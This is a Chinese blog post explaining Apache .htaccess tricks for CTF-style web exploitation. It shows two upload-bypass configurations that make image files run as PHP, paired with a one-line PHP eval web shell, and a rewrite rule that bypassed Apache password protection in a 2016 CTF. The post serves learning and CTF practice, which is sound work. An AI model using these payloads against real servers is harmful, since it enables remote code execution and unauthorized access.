Sky's blog

有趣的.htaccess

字数统计: 583阅读时长: 2 min
2017/09/06 Share

.htaccess功能开启条件

  1. mod_rewrite模块开启
  2. AllowOverride All

.htaccess功能开启方法

在apache下http.conf改配置:

  1. 将工作目录下的AllowOverride None 改为AllowOverride All。

  2. 开启.mod_rewrite模块。将#LoadModule rewrite_module modules/mod_rewrite.so前的#去掉即可

.htaccess注意点

.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,
但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,
所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

.htaccess在upload中的利用

法一

.htaccess文件内容:

1
2
3
<FilesMatch "sky233">
SetHandler application/x-httpd-php
</FilesMatch>

上传小马文件名:sky233.jpg(后缀任意,找一个没被过滤的,不写应该也可以)

1
<?php eval($_GET['sky']);?>

再访问这个文件,可以发现该文件被当做php文件执行了

法二

.htaccess文件内容:

1
AddType application/x-httpd-php .jpg

(后缀名按你想要的来,我这里使用.jpg)
上传小马文件名:sky233.jpg(后缀和前面的匹配)

1
<?php eval($_GET['sky']);?>

再访问这个文件,可以发现该文件被当做php文件执行了

.htaccess在重定向中的利用

一些语法介绍

1
RewriteCond %{REQUEST_FILENAME} !-d

如果不是目录,才会执行下一条RewriteRule

1
RewriteCond %{REQUEST_FILENAME} !-f

如果不是文件,才会执行下一条RewriteRule

Tokyo Westerns / MMA CTF 2nd 2016应用

题目要求访问/admin,但访问需要登录密码(是在Apache中设置的),但是密码破解难度极大,并且不存在其他绕过技巧(maybe)

只有.htaccess重定向绕过的方法可行

1
2
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]

然后访问 /index.php/admin, 即可达到访问 /admin 的效果,同时绕过Apache的密码
注:

1
RewriteRule ^ index.php [QSA,L]

标签 [QSA,PT,L]
QSA:表示保留参数如get传值?xxx==xx…;
PT:再把这个URL交给Apache处理;
L:作为最后一条;

后记

这玩意儿还是有点意思的,第一次还是在xman选拔赛中遇到,当时根本没想到是这个……也算长见识了

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. .htaccess功能开启条件
  2. 2. .htaccess功能开启方法
  3. 3. .htaccess注意点
  4. 4. .htaccess在upload中的利用
    1. 4.1. 法一
    2. 4.2. 法二
  5. 5. .htaccess在重定向中的利用
    1. 5.1. 一些语法介绍
    2. 5.2. Tokyo Westerns / MMA CTF 2nd 2016应用
  6. 6. 后记